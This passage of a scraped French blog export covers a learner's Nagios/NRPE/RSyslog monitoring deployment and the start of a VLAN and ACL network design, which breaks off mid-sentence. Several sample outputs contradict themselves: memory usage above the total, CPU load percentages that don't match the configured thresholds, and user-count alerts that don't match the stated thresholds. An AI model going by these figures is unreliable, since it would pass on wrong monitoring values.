l\u0026#39;état my $state; my $exit_code; if ($percent_used \u0026gt;= $critical) { $state = \u0026#34;CRITICAL\u0026#34;; $exit_code = 2; } elsif ($percent_used \u0026gt;= $warning) { $state = \u0026#34;WARNING\u0026#34;; $exit_code = 1; } else { $state = \u0026#34;OK\u0026#34;; $exit_code = 0; } # Sortie formatée pour Nagios my $used_mb = int($used / 1024); my $total_mb = int($total / 1024); print \u0026#34;$state - Memory usage: ${percent_used}% (${used_mb}MB/${total_mb}MB) | \u0026#34;; print \u0026#34;memory=${percent_used}%;${warning};${critical};0;100\\n\u0026#34;; exit $exit_code; Installation et permissions :\n1 2 3 sudo cp check_mem.pl /usr/lib/nagios/plugins/ sudo chmod +x /usr/lib/nagios/plugins/check_mem.pl sudo chown nagios:nagios /usr/lib/nagios/plugins/check_mem.pl Test de connectivité NRPE Depuis le serveur Nagios :\n1 /usr/lib/nagios/plugins/check_nrpe -H 172.16.10.200 Résultat attendu :\nNRPE v4.1.0 Configuration des sondes de supervision Définition de l\u0026rsquo;hôte dans Nagios Fichier /usr/local/nagios/etc/objects/healthdata-servers.cfg :\n1 2 3 4 5 6 7 8 9 10 11 define host { use linux-server host_name app-server alias Application Server - WordPress address 172.16.10.200 max_check_attempts 3 check_period 24x7 notification_interval 30 notification_period 24x7 contact_groups admins } Configuration des 7 sondes requises 1. Sonde RAM (Mémoire) 1 2 3 4 5 6 7 8 9 define service { use generic-service host_name app-server service_description RAM check_command check_nrpe!check_mem check_interval 5 retry_interval 1 max_check_attempts 3 } Seuils configurés :\nWARNING : 70% d\u0026rsquo;utilisation CRITICAL : 85% d\u0026rsquo;utilisation Ces seuils permettent d\u0026rsquo;anticiper une saturation mémoire tout en évitant les fausses alertes. À 70%, l\u0026rsquo;équipe peut investiguer avant que le service ne soit impacté.\n2. Sonde CPU Load (Charge Processeur) 1 2 3 4 5 6 7 8 9 define service { use generic-service host_name app-server service_description CPU check_command check_nrpe!check_load check_interval 5 retry_interval 1 max_check_attempts 3 } Seuils configurés (dégressifs) :\nWARNING : 0.85 (1min) / 0.80 (5min) / 0.75 (15min) CRITICAL : 0.98 (1min) / 0.95 (5min) / 0.90 (15min) Les seuils dégressifs permettent de différencier un pic temporaire (toléré) d\u0026rsquo;une charge persistante (problématique). Plus la période d\u0026rsquo;observation est longue, plus le seuil devient strict.\n3. Sonde Disk Space (Espace Disque) 1 2 3 4 5 6 7 8 9 define service { use generic-service host_name app-server service_description Disk check_command check_nrpe!check_disk check_interval 10 retry_interval 2 max_check_attempts 3 } Seuils configurés :\nWARNING : 70% d\u0026rsquo;utilisation CRITICAL : 80% d\u0026rsquo;utilisation L\u0026rsquo;espace disque évolue progressivement. Un seuil à 80% laisse le temps d\u0026rsquo;agir avant saturation complète, qui pourrait causer des corruptions de données.\n4. Sonde Current Users (Utilisateurs Connectés) 1 2 3 4 5 6 7 8 9 define service { use generic-service host_name app-server service_description Current Users check_command check_nrpe!check_users check_interval 5 retry_interval 1 max_check_attempts 3 } Seuils configurés :\nWARNING : 1 utilisateur connecté CRITICAL : 2 utilisateurs connectés Sur un serveur de production, les connexions SSH doivent être exceptionnelles. Ces seuils bas détectent rapidement une activité anormale (maintenance non planifiée, intrusion potentielle).\n5. Sonde HTTP Service 1 2 3 4 5 6 7 8 9 define service { use generic-service host_name app-server service_description HTTP check_command check_nrpe!check_http_local check_interval 5 retry_interval 1 max_check_attempts 3 } Vérification : Disponibilité du service Apache sur le port 80.\nLa détection immédiate d\u0026rsquo;un arrêt du serveur web est cruciale, car l\u0026rsquo;Apache est un élément critique pour un site accessible au public.\n6. Sonde Index Page (Page d\u0026rsquo;Accueil) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 define service { use generic-service host_name app-server service_description Index Page check_command check_http_url check_interval 5 retry_interval 1 max_check_attempts 3 } define command { command_name check_http_url command_line $USER1$/check_http -H $HOSTADDRESS$ -u / -s \u0026#34;WordPress\u0026#34; } Vérification : Présence du mot-clé \u0026ldquo;WordPress\u0026rdquo; dans la page d\u0026rsquo;accueil.\nCette sonde détecte les problèmes applicatifs (page blanche, erreur PHP) que la simple vérification HTTP ne détecterait pas.\n7. Sonde MySQL/MariaDB 1 2 3 4 5 6 7 8 9 define service { use generic-service host_name app-server service_description MySQL check_command check_nrpe!check_mysql check_interval 5 retry_interval 1 max_check_attempts 3 } Vérification : Connexion à la base de données MariaDB.\nWordPress nécessite un accès permanent à la base. Cette sonde détecte tout problème de connexion, de credentials ou d\u0026rsquo;arrêt du service MySQL.\nCentralisation des logs avec RSyslog Configuration du serveur RSyslog (monitor-srv) RSyslog permet de centraliser tous les logs du SI sur un seul serveur, facilitant ainsi l\u0026rsquo;analyse, l\u0026rsquo;audit et la corrélation d\u0026rsquo;événements.\nFichier /etc/rsyslog.conf - Activation du mode serveur :\n# Écoute UDP (protocole léger) module(load=\u0026#34;imudp\u0026#34;) input(type=\u0026#34;imudp\u0026#34; port=\u0026#34;514\u0026#34;) # Écoute TCP (protocole fiable) module(load=\u0026#34;imtcp\u0026#34;) input(type=\u0026#34;imtcp\u0026#34; port=\u0026#34;514\u0026#34;) # Template pour organisation des logs $template RemoteLogsDynamic,\u0026#34;/var/log/remote/%HOSTNAME%/%PROGRAMNAME%.log\u0026#34; *.* ?RemoteLogsDynamic \u0026amp; stop La justification de la double écoute UDP/TCP réside dans les caractéristiques de chacun :\nUDP : rapide, faible overhead, acceptable pour les logs non critiques TCP : fiable, garantit la livraison, essentiel pour les logs d\u0026rsquo;audit de sécurité Configuration du client RSyslog (app-srv) Fichier /etc/rsyslog.d/50-forward.conf :\n# Envoi de tous les logs vers le serveur central *.* @@172.16.10.100:514 # TCP (deux @) *.* @172.16.10.100:514 # UDP (un @) Syntaxe RSyslog :\n@@ : Envoi en TCP @ : Envoi en UDP *.* : Tous les niveaux de priorité, toutes les facilités Organisation automatique des logs Grâce au template RemoteLogsDynamic, les logs sont automatiquement organisés selon cette arborescence :\n/var/log/remote/ ├── app-srv/ │ ├── apache2.log │ ├── cron.log │ ├── systemd.log │ ├── sshd.log │ ├── sudo.log │ └── mysqld.log └── monitor-srv/ ├── nagios.log └── systemd.log Cette organisation offre plusieurs avantages :\nSéparation par serveur : identification immédiate de la source Séparation par programme : facilite le troubleshooting ciblé Scalabilité : ajout automatique de nouveaux serveurs sans modification Analyse forensique : corrélation facile des événements entre services Validation de la centralisation Test d\u0026rsquo;envoi de logs depuis app-srv :\n1 logger -t test-rsyslog \u0026#34;Test de centralisation des logs\u0026#34; Vérification sur monitor-srv :\n1 sudo tail -f /var/log/remote/app-srv/test-rsyslog.log Résultat attendu : Le message apparaît instantanément sur le serveur central.\nTests et validation de l\u0026rsquo;infrastructure Validation de la configuration Nagios Vérification syntaxique :\n1 sudo /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg Résultat obtenu :\nTotal Warnings: 0 Total Errors: 0 Things look okay - No serious problems were detected during the pre-flight check Nombre d\u0026rsquo;objets configurés :\nServices : 15 Hosts : 2 (localhost + app-server) Commands : 24 Tests des sondes en conditions réelles Test de la sonde RAM Déclenchement d\u0026rsquo;alerte avec stress-ng :\n1 2 3 4 5 # Installation de l\u0026#39;outil de stress test sudo apt install -y stress-ng # Génération d\u0026#39;une charge mémoire progressive stress-ng --vm 1 --vm-bytes 70% --timeout 60s Résultat dans Nagios :\nÉtat : WARNING après ~30 secondes Message : RAM WARNING - Memory usage: 72% (2048MB/2048MB) Passage en CRITICAL :\n1 stress-ng --vm 2 --vm-bytes 85% --timeout 60s Résultat :\nÉtat : CRITICAL après ~15 secondes Message : RAM CRITICAL - Memory usage: 87% (2470MB/2048MB) Test de la sonde CPU Déclenchement progressif d\u0026rsquo;alerte :\n1 2 3 4 5 # WARNING (85% sur 1 minute) stress-ng --cpu 1 --cpu-load 85 --timeout 90s # CRITICAL (98% sur 1 minute) stress-ng --cpu 2 --cpu-load 98 --timeout 90s Observations importantes :\nLe check_load utilise la load average (nombre de processus en attente) Sur un système 2 cores, une load de 1.70 correspond à 85% d\u0026rsquo;utilisation La détection est progressive : 1min → 5min → 15min Test de la sonde Disk Space Création d\u0026rsquo;un fichier volumineux :\n1 2 3 4 5 6 7 8 # Vérification de l\u0026#39;espace disponible df -h / # Création d\u0026#39;un fichier de 15GB (pour atteindre 75%) sudo dd if=/dev/zero of=/tmp/testfile bs=1G count=15 # Nettoyage après test sudo rm /tmp/testfile Résultat dans Nagios :\nÉtat : WARNING à 72% d\u0026rsquo;utilisation Message : DISK WARNING - free space: / 5214 MB (28% inode=97%) Test de la sonde Current Users Simulation de connexions multiples :\n1 2 3 # Connexion depuis plusieurs terminaux SSH # Terminal 1 : ssh user@172.16.10.200 # Terminal 2 : ssh user@172.16.10.200 Résultat dans Nagios :\n1 utilisateur : OK 2 utilisateurs : WARNING 3 utilisateurs : CRITICAL Tests de résilience Test d\u0026rsquo;arrêt du service Apache 1 sudo systemctl stop apache2 Résultats Nagios :\nHTTP : CRITICAL - Connection refused Index Page : CRITICAL - Connection refused Logs RSyslog centralisés :\napp-srv systemd: Stopping The Apache HTTP Server... app-srv systemd: Stopped The Apache HTTP Server Test d\u0026rsquo;arrêt MySQL 1 sudo systemctl stop mariadb Résultats Nagios :\nMySQL : CRITICAL - Can\u0026rsquo;t connect to local MySQL server Index Page : WARNING - Database connection error Points critiques et difficultés rencontrées 1. Seuils CPU avec Load Average Le problème initial concernait la confusion entre pourcentage CPU et load average.\nExplication technique :\nPourcentage CPU : temps processeur utilisé (0-100% par core) Load Average : nombre de processus en attente d\u0026rsquo;exécution La solution mise en place sur un système 2 cores :\nLoad de 1.0 = 50% d\u0026rsquo;utilisation moyenne Load de 1.70 = 85% d\u0026rsquo;utilisation moyenne Load de 2.0 = 100% d\u0026rsquo;utilisation (saturation) Les seuils dégressifs permettent de détecter :\n1 minute : pic ponctuel (toléré jusqu\u0026rsquo;à 0.85) 5 minutes : charge soutenue (alerte à 0.80) 15 minutes : problème persistant (alerte à 0.75) 2. Plugin check_mem absent Le plugin check_mem n\u0026rsquo;existe pas dans la distribution standard de nagios-plugins. Pour résoudre ce problème :\nCréation d\u0026rsquo;un script Perl personnalisé Lecture de /proc/meminfo pour les données mémoire Calcul du pourcentage avec prise en compte des buffers/cache Sortie formatée selon les standards Nagios (état + données de performance) Points d\u0026rsquo;attention importants :\nUtilisation de MemAvailable (kernel 3.14+) plutôt que MemFree Prise en compte des buffers et cache (mémoire récupérable) Format de sortie : STATE - Message | perfdata 3. Configuration NRPE et sécurité Le problème initial était l\u0026rsquo;erreur \u0026ldquo;CHECK_NRPE: Socket timeout after 10 seconds\u0026rdquo;. Les causes identifiées :\nFirewall bloquant le port 5666 Configuration allowed_hosts incorrecte dans nrpe.cfg Service NRPE non démarré La solution complète implémentée :\n1 2 3 4 5 6 7 8 9 10 11 # 1. Vérifier le service sudo systemctl status nagios-nrpe-server # 2. Vérifier le port en écoute sudo ss -tuln | grep 5666 # 3. Configuration allowed_hosts allowed_hosts=127.0.0.1,::1,172.16.10.100 # 4. Test depuis Nagios /usr/lib/nagios/plugins/check_nrpe -H 172.16.10.200 -c check_users Mesures de sécurisation additionnelle :\nNRPE n\u0026rsquo;écoute que sur l\u0026rsquo;IP interne (172.16.10.200) Liste blanche stricte des IPs autorisées Pas de commandes dangereuses exposées via NRPE 4. Organisation RSyslog complexe Le problème initial était la gestion des logs mélangés dans un seul fichier, difficiles à analyser. La solution adoptée :\nTemplate avancé avec double niveau d\u0026rsquo;organisation :\n$template RemoteLogsDynamic,\u0026#34;/var/log/remote/%HOSTNAME%/%PROGRAMNAME%.log\u0026#34; *.* ?RemoteLogsDynamic \u0026amp; stop Avantages observés :\nSéparation automatique par serveur source Séparation automatique par programme Aucune configuration additionnelle lors de l\u0026rsquo;ajout de serveurs Facilité d\u0026rsquo;analyse avec tail -f /var/log/remote/app-srv/apache2.log Configuration de la rotation des logs :\n# /etc/logrotate.d/rsyslog-remote /var/log/remote/*/*.log { daily rotate 30 compress delaycompress missingok notifempty create 0640 syslog adm sharedscripts postrotate /usr/lib/rsyslog/rsyslog-rotate endscript } Résultats obtenus et métriques État opérationnel Au terme du déploiement, l\u0026rsquo;infrastructure présente les caractéristiques suivantes :\nSupervision Nagios :\n15 services supervisés 2 hôtes définis Intervalle de vérification : 5 minutes (services critiques) à 10 minutes (espace disque) Taux de disponibilité cible : 99,9% 0 warning, 0 error dans la configuration Centralisation RSyslog :\n2 serveurs clients configurés 40+ fichiers de logs distincts Volume quotidien : ~50 MB de logs Rétention : 30 jours Double protocole TCP/UDP opérationnel Tableaux de bord Nagios L\u0026rsquo;interface web Nagios fournit plusieurs vues essentielles :\nVue Tactical Overview :\nNombre d\u0026rsquo;hôtes UP/DOWN Nombre de services OK/WARNING/CRITICAL Santé globale du SI Vue Services :\nÉtat détaillé de chaque sonde Dernière vérification Durée depuis le dernier changement d\u0026rsquo;état Nombre de tentatives de vérification Vue Performance Data :\nGraphiques d\u0026rsquo;évolution sur 24h/7j/30j Historique des métriques (RAM, CPU, Disk) Tendances et prédictions Points de sécurité et bonnes pratiques Sécurisation de l\u0026rsquo;accès Nagios Authentification Basic Apache :\n1 2 3 4 5 6 \u0026lt;Directory \u0026#34;/usr/local/nagios/sbin\u0026#34;\u0026gt; AuthType Basic AuthName \u0026#34;Nagios Access\u0026#34; AuthUserFile /usr/local/nagios/etc/htpasswd.users Require valid-user \u0026lt;/Directory\u0026gt; Recommandations additionnelles :\nChanger le mot de passe par défaut (nagiosadmin) Utiliser des mots de passe forts (\u0026gt;16 caractères, complexes) Envisager une authentification LDAP/AD pour les grandes structures Mettre en place HTTPS avec Let\u0026rsquo;s Encrypt Principe du moindre privilège Utilisateur nagios :\nDroits limités aux seuls répertoires nécessaires Pas de privilèges sudo Isolation via systemd (PrivateTmp, NoNewPrivileges) Plugin NRPE :\nCommandes prédéfinies uniquement (pas d\u0026rsquo;exécution arbitraire) Liste blanche IP stricte Pas de commandes système dangereuses exposées Isolation réseau Recommandations de segmentation :\n┌─────────────────────────────────────────┐ │ DMZ (172.16.10.0/24) │ │ ├── app-srv (172.16.10.200) │ │ └── Accès public port 80/443 │ └────────────┬────────────────────────────┘ │ Firewall ┌────────────┴────────────────────────────┐ │ LAN Management (172.16.20.0/24) │ │ ├── monitor-srv (172.16.20.100) │ │ └── Accès restreint équipe IT │ └─────────────────────────────────────────┘ Règles firewall recommandées :\nAutoriser port 5666 (NRPE) uniquement depuis monitor-srv Autoriser port 514 (RSyslog) uniquement depuis monitor-srv Bloquer tout accès direct à monitor-srv depuis l\u0026rsquo;extérieur Documentation opérationnelle Procédures d\u0026rsquo;intervention par sonde Sonde RAM en alerte Actions immédiates :\n1 2 3 4 5 6 7 8 9 10 11 12 # 1. Identifier les processus gourmands top -o %MEM # 2. Analyser la répartition mémoire free -h ps aux --sort=-%mem | head -10 # 3. Vérifier les logs pour détection de memory leak sudo journalctl -xe | grep -i \u0026#34;out of memory\u0026#34; # 4. Si nécessaire, redémarrer le service problématique sudo systemctl restart \u0026lt;service\u0026gt; Mesures préventives :\nAugmenter la RAM si la consommation est structurelle Optimiser les configurations applicatives (PHP memory_limit, InnoDB buffer pool) Mettre en place un swap si inexistant Sonde CPU en alerte Actions immédiates :\n1 2 3 4 5 6 7 8 9 10 # 1. Identifier les processus consommateurs top -o %CPU htop # 2. Analyser les tâches cron actives sudo crontab -l -u www-data ps aux | grep cron # 3. Vérifier les attaques potentielles (crypto-mining) sudo netstat -tunap | grep ESTABLISHED Mesures préventives :\nOptimiser les requêtes SQL lentes Mettre en cache les contenus statiques (varnish, redis) Augmenter les ressources CPU si charge légitime Sonde Disk en alerte Actions immédiates :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 1. Identifier les répertoires volumineux du -sh /* | sort -h du -sh /var/* | sort -h # 2. Nettoyer les logs anciens sudo journalctl --vacuum-time=7d sudo rm /var/log/*.gz # 3. Nettoyer le cache APT sudo apt clean sudo apt autoclean # 4. Vérifier les fichiers temporaires sudo find /tmp -type f -atime +7 -delete Mesures préventives :\nRotation des logs correctement configurée Surveillance de la croissance des bases de données Planifier une extension de disque si nécessaire Sonde Current Users en alerte Actions immédiates :\n1 2 3 4 5 6 7 8 9 10 11 12 13 # 1. Lister les utilisateurs connectés who w # 2. Analyser l\u0026#39;historique des connexions last | head -20 sudo journalctl -u ssh # 3. Vérifier les tentatives de connexion échouées sudo grep \u0026#34;Failed password\u0026#34; /var/log/auth.log | tail -20 # 4. Si connexion suspecte, déconnecter sudo pkill -KILL -u \u0026lt;username\u0026gt; Mesures préventives :\nDésactiver l\u0026rsquo;authentification par mot de passe SSH (clés uniquement) Configurer Fail2Ban pour bloquer les tentatives répétées Auditer régulièrement les comptes utilisateurs Sonde HTTP/Index en alerte Actions immédiates :\n1 2 3 4 5 6 7 8 9 10 11 # 1. Vérifier l\u0026#39;état du service Apache sudo systemctl status apache2 # 2. Consulter les logs d\u0026#39;erreur sudo tail -100 /var/log/apache2/error.log # 3. Tester l\u0026#39;accès en local curl -I http://localhost # 4. Redémarrer Apache si nécessaire sudo systemctl restart apache2 Mesures préventives :\nMonitorer les erreurs PHP dans les logs Configurer un système de notification automatique Mettre en place un health check automatisé Sonde MySQL en alerte Actions immédiates :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 1. Vérifier l\u0026#39;état du service sudo systemctl status mariadb # 2. Consulter les logs MySQL sudo tail -100 /var/log/mysql/error.log # 3. Tester la connexion mysql -u root -p -e \u0026#34;SELECT VERSION();\u0026#34; # 4. Vérifier les processus bloquants mysql -u root -p -e \u0026#34;SHOW FULL PROCESSLIST;\u0026#34; # 5. Redémarrer si nécessaire sudo systemctl restart mariadb Mesures préventives :\nOptimiser les requêtes lentes (slow query log) Configurer correctement InnoDB (buffer pool size) Mettre en place des sauvegardes régulières Évolutions possibles Haute disponibilité Nagios en cluster :\nDéploiement d\u0026rsquo;un second serveur Nagios (master/slave) Synchronisation automatique des configurations Failover automatique en cas de panne du master Base de données répliquée :\nConfiguration MySQL en Master-Master ou Master-Slave Utilisation de Galera Cluster pour MariaDB Load balancing avec ProxySQL Automatisation et DevOps Infrastructure as Code :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # Exemple Ansible pour déploiement Nagios - name: Install Nagios Core hosts: monitoring roles: - nagios-core - nagios-plugins - nrpe-server - name: Configure services monitoring hosts: monitoring tasks: - name: Deploy service definitions template: src: services.cfg.j2 dest: /usr/local/nagios/etc/objects/services.cfg CI/CD :\nValidation automatique des configurations Nagios dans GitLab CI Tests unitaires des plugins personnalisés Déploiement automatique via Ansible/Terraform Monitoring avancé Graphiques de performance :\nIntégration de PNP4Nagios ou Graphite Visualisation des métriques sur 1 an Prédiction de tendances (Machine Learning) Alertes intelligentes :\nConfiguration de seuils dynamiques (basés sur l\u0026rsquo;historique) Corrélation d\u0026rsquo;événements (si CPU ET RAM CRITICAL → alerte majeure) Notification multi-canal (email, SMS, Slack, PagerDuty) Conformité et audit Traçabilité renforcée :\nArchivage des logs RSyslog sur stockage immuable Chiffrement des logs en transit (TLS pour RSyslog) Signature des logs pour non-répudiation Tableaux de bord conformité :\nDashboard dédié aux exigences RGPD Reporting automatisé pour les audits ISO 27001 Alertes en cas de non-conformité détectée Conclusion Ce projet de mise en place d\u0026rsquo;une infrastructure de supervision avec Nagios Core et RSyslog a permis de créer un système robuste et évolutif, répondant aux exigences strictes du secteur de la santé. L\u0026rsquo;architecture déployée offre une visibilité complète grâce à sept sondes qui couvrent les aspects critiques : ressources, services et applicatif.\nLa traçabilité centralisée via RSyslog fournit une base d\u0026rsquo;audit indispensable pour la conformité réglementaire, point essentiel dans le contexte médical. Les seuils calibrés permettent une réactivité opérationnelle en anticipant les incidents avant qu\u0026rsquo;ils n\u0026rsquo;impactent les utilisateurs. L\u0026rsquo;architecture NRPE garantit aussi une excellente scalabilité en facilitant l\u0026rsquo;ajout de nouveaux serveurs sans refonte majeure.\nLes difficultés rencontrées lors du déploiement (configuration NRPE, seuils CPU, organisation RSyslog) ont été autant d\u0026rsquo;occasions d\u0026rsquo;approfondir la compréhension des mécanismes de supervision et de mettre en place des solutions pérennes. La documentation opérationnelle fournit permet à l\u0026rsquo;équipe technique de réagir efficacement en cas d\u0026rsquo;alerte.\nL\u0026rsquo;infrastructure actuelle constitue une base solide pour les évolutions futures, qu\u0026rsquo;il s\u0026rsquo;agisse de haute disponibilité, d\u0026rsquo;automatisation via DevOps, ou de conformité renforcée. Le système de supervision est désormais un élément central du SI de HealthData Corp, garantissant la disponibilité et la performance des services critiques.\nConfiguration testée avec :\nNagios Core 4.5.1 (compilé depuis les sources) Nagios Plugins 2.4.6 NRPE 4.1.0 Apache 2.4.57 RSyslog 8.2312.0 Debian 12 (Bookworm) WordPress 6.4 / MariaDB 10.11 ","permalink":"https://appercel-clement.netlify.app/posts/assr7/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"contexte-et-objectifs\"\u003eContexte et objectifs\u003c/h2\u003e\n\u003cp\u003eDans le cadre d\u0026rsquo;une mission freelance pour HealthData Corp, une entreprise spécialisée dans la mise à disposition de données de santé, j\u0026rsquo;ai été chargé de mettre en œuvre un système de supervision complet. L\u0026rsquo;entreprise faisait face à des problèmes de performance sur son site web et souhaitait anticiper les incidents avant qu\u0026rsquo;ils n\u0026rsquo;impactent les utilisateurs.\u003c/p\u003e","title":"ASRS Projet 7 : Déploiement d'une infrastructure de supervision"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nContexte et Enjeux Une société du secteur communication et influence digitale nécessitait une refonte complète de son infrastructure réseau lors de son déménagement dans de nouveaux locaux répartis sur trois sites. Le cahier des charges imposait des contraintes fortes en matière de segmentation métier, de disponibilité et de sécurité des données.\nEnjeux métier :\nIsolation stricte des départements pour conformité réglementaire Accessibilité contrôlée aux ressources partagées (serveurs, internet) Résilience face aux pannes matérielles Support dual-stack IPv4/IPv6 pour évolutivité Périmètre technique :\n3 sites géographiquement distants 6 départements métier nécessitant une isolation réseau Services mutualisés (DNS, serveur web, passerelles internet) Architecture redondante sur le site principal Approche de Conception Analyse des Besoins et Segmentation La première phase a consisté à traduire les besoins métier en architecture réseau. Six départements devaient être isolés avec des politiques d\u0026rsquo;accès différenciées :\nDépartement Besoins Spécifiques Niveau de Privilège Management Exécutif Accès total sauf Support Technique Élevé Gestion du Personnel Communication inter-départements Moyen Développement Commercial Accès serveur web + DNS Moyen Comptabilité Isolation renforcée Moyen Support Technique Accès administratif complet Administrateur Infrastructure Serveurs et services partagés Critique Choix de conception : Une segmentation VLAN a été retenue plutôt qu\u0026rsquo;une segmentation physique pour sa flexibilité et son rapport coût/efficacité. Chaque département dispose de son propre VLAN (VLANs 100-150 pour les utilisateurs, VLAN 200 pour les serveurs, VLAN 300 pour le management réseau).\nArchitecture Hiérarchique vs Plate Face au nombre de VLANs et aux exigences de disponibilité, le choix s\u0026rsquo;est porté sur une architecture hiérarchique trois niveaux pour le site principal :\nArchitecture retenue (3-tier) :\nCore (L3) → Distribution (L3) → Access (L2) Avantages de ce modèle :\nSéparation claire des rôles (routage/distribution/accès) Évolutivité : ajout de nouveaux départements sans reconfiguration globale Résilience : redondance possible à chaque niveau Performance : agrégation de liens entre Distribution et Core Alternative écartée : Une architecture plate (collapsed core) aurait été plus simple mais insuffisante face aux besoins de redondance et d\u0026rsquo;évolutivité. L\u0026rsquo;ajout d\u0026rsquo;un sixième ou septième département aurait nécessité une refonte.\nPlan d\u0026rsquo;Adressage : Anticipation et Évolutivité Le plan d\u0026rsquo;adressage a été conçu pour supporter une croissance future sans ré-adressage majeur :\nIPv4 - Schéma /24 par VLAN :\n10.50.100.0/24 → Management Exécutif 10.50.110.0/24 → Gestion Personnel 10.50.120.0/24 → Développement Commercial 10.50.130.0/24 → Comptabilité 10.50.140.0/24 → Support Technique 10.50.200.0/24 → Infrastructure (Serveurs) 10.50.250.0/30 → Transit Core-Routeur Rationale du /24 : Même si certains départements comptent 2-3 personnes actuellement, l\u0026rsquo;utilisation systématique de /24 simplifie la gestion (masques uniformes) et anticipe la croissance (jusqu\u0026rsquo;à 250 hôtes par département). Le coût en adresses privées est négligeable.\nIPv6 - Stratégie dual-stack : Allocation d\u0026rsquo;un /64 par VLAN à partir du préfixe 2001:db8:1000::/48, permettant une transition progressive sans rupture de service IPv4.\nDéfis d\u0026rsquo;Architecture et Solutions Défi 1 : Routage Inter-VLAN en Environnement Hybride Problématique : Comment implémenter le routage inter-VLAN pour 7 VLANs avec support dual-stack (IPv4 et IPv6) sachant que l\u0026rsquo;équipement switch L3 présentait des limitations en IPv6 ?\nSolution architecturale : adoption d\u0026rsquo;une architecture hybride :\nPour IPv4 :\nRoutage centralisé sur le switch Core L3 via interfaces SVI (Switched Virtual Interfaces) Avantage : routage au niveau 3 du modèle OSI, performances optimales Configuration : une interface VLAN (SVI) par réseau avec l\u0026rsquo;IP de passerelle Pour IPv6 :\nRouter-on-a-Stick : routage délégué au routeur principal Sous-interfaces 802.1Q taggées, une par VLAN Rationale : contournement des bugs Packet Tracer sur le routage IPv6 des switches 3560/3650 Compromis assumé : Cette architecture implique que le trafic IPv6 traverse deux équipements (switch puis routeur) contre un seul pour IPv4. Acceptable car :\nLe trafic IPv6 reste marginal dans cette phase de transition La stabilité prime sur l\u0026rsquo;optimisation absolue Migration possible vers routage IPv6 sur Core lors d\u0026rsquo;un changement d\u0026rsquo;équipement Défi 2 : Conception d\u0026rsquo;une Politique de Sécurité Granulaire Problématique : Chaque département a des besoins d\u0026rsquo;accès différents. Comment implémenter une matrice de sécurité sans complexité excessive ?\nApproche de conception :\nPrincipe du moindre privilège : tout est interdit par défaut, autorisation explicite uniquement\nLogique par \u0026ldquo;profils\u0026rdquo; :\nProfil Administrateur (Support Technique) : accès complet Profil Standard (Management, Gestion, Dev Commercial, Compta) : accès inter-départements + ressources partagées Profil Serveur : accepte connexions du LAN uniquement, bloque initiations externes Définition de zones de confiance :\nZone Haute Confiance : Support Technique Zone Confiance Moyenne : Départements utilisateurs Zone Ressources : Serveurs (accepte mais n\u0026rsquo;initie pas) Zone Non Fiable : Sites secondaires et internet Implémentation via ACL Extended : Plutôt que des ACL monolithiques, création d\u0026rsquo;une ACL par VLAN appliquée en entrée (in) sur chaque interface SVI. Cette approche facilite le troubleshooting et la maintenance.\nExemple de logique (Management Exécutif) :\nAutoriser → Gestion Personnel, Dev Commercial, Comptabilité, Infrastructure Refuser → Support Technique (sauf réponses à des requêtes initiées) Autoriser → Internet et sites secondaires Défi conceptuel : L\u0026rsquo;ordre des règles dans une ACL est crucial. Une règle deny ip any any placée trop tôt bloquerait tout, y compris les flux autorisés. La logique doit être : permits spécifiques → deny spécifique → permit générique (ou deny implicite).\nDéfi 3 : Haute Disponibilité avec Équipements Limités Problématique : Assurer la continuité de service en cas de panne d\u0026rsquo;un switch de distribution, sans budget pour des équipements haut de gamme supportant des protocoles de redondance avancés (HSRP, VRRP).\nSolutions déployées :\n1. Agrégation de liens LACP entre les deux switches de distribution\nPlutôt qu\u0026rsquo;un seul lien, quatre liens Gigabit agrégés via LACP (Link Aggregation Control Protocol) :\nBande passante agrégée : 4 Gbps vs 1 Gbps Tolérance aux pannes : perte d\u0026rsquo;un lien → débit réduit mais service maintenu Load-balancing automatique : répartition du trafic selon algorithme (généralement src-dst-ip) Avantage architectural : Le port-channel est vu comme une interface unique logique par Spanning Tree, simplifiant la topologie.\n2. Dual-homing des switches d\u0026rsquo;accès\nChaque switch Access dispose de deux uplinks :\nUn vers Distribution-1 Un vers Distribution-2 Mécanisme de basculement : Spanning Tree Protocol (STP) maintient un lien en forwarding, l\u0026rsquo;autre en blocking. En cas de panne du lien actif ou du switch de distribution associé, STP converge et active le lien de secours (quelques secondes d\u0026rsquo;interruption).\nLimitation acceptée : Pas de load-balancing actif/actif sur les uplinks Access (contrainte STP). Pour l\u0026rsquo;obtenir, il faudrait des technologies comme VSS (Virtual Switching System) ou StackWise, hors budget.\nDéfi 4 : Gestion du NAT avec Plusieurs Réseaux Internes Problématique : Sept VLANs doivent accéder à internet via une seule IP publique. Comment router correctement le trafic et gérer les traductions d\u0026rsquo;adresses ?\nArchitecture retenue :\nVLAN de transit dédié (VLAN 250) entre switch Core et routeur\nRaison : séparer le trafic de routage WAN du trafic utilisateur Réseau /30 (2 adresses utiles suffisent pour un lien point-à-point) Route par défaut sur le Core pointant vers le routeur via ce VLAN de transit\nTout trafic non destiné aux réseaux internes → routeur → internet NAT Overload (PAT) sur le routeur\nACL identifiant tous les réseaux internes (10.50.0.0/16) Traduction sur l\u0026rsquo;interface WAN du routeur Port-based translation : plusieurs milliers de connexions simultanées possibles Choix technique : Le NAT est volontairement placé sur le routeur, pas sur le switch Core, pour respecter la séparation des rôles (Core = routage interne, Routeur = passerelle WAN).\nDéfi 5 : Limitations du Simulateur et Contournements Problématique majeure : Packet Tracer 9, bien qu\u0026rsquo;amélioré pour l\u0026rsquo;IPv6, présente des bugs critiques impactant la production :\nBug 1 : Routage 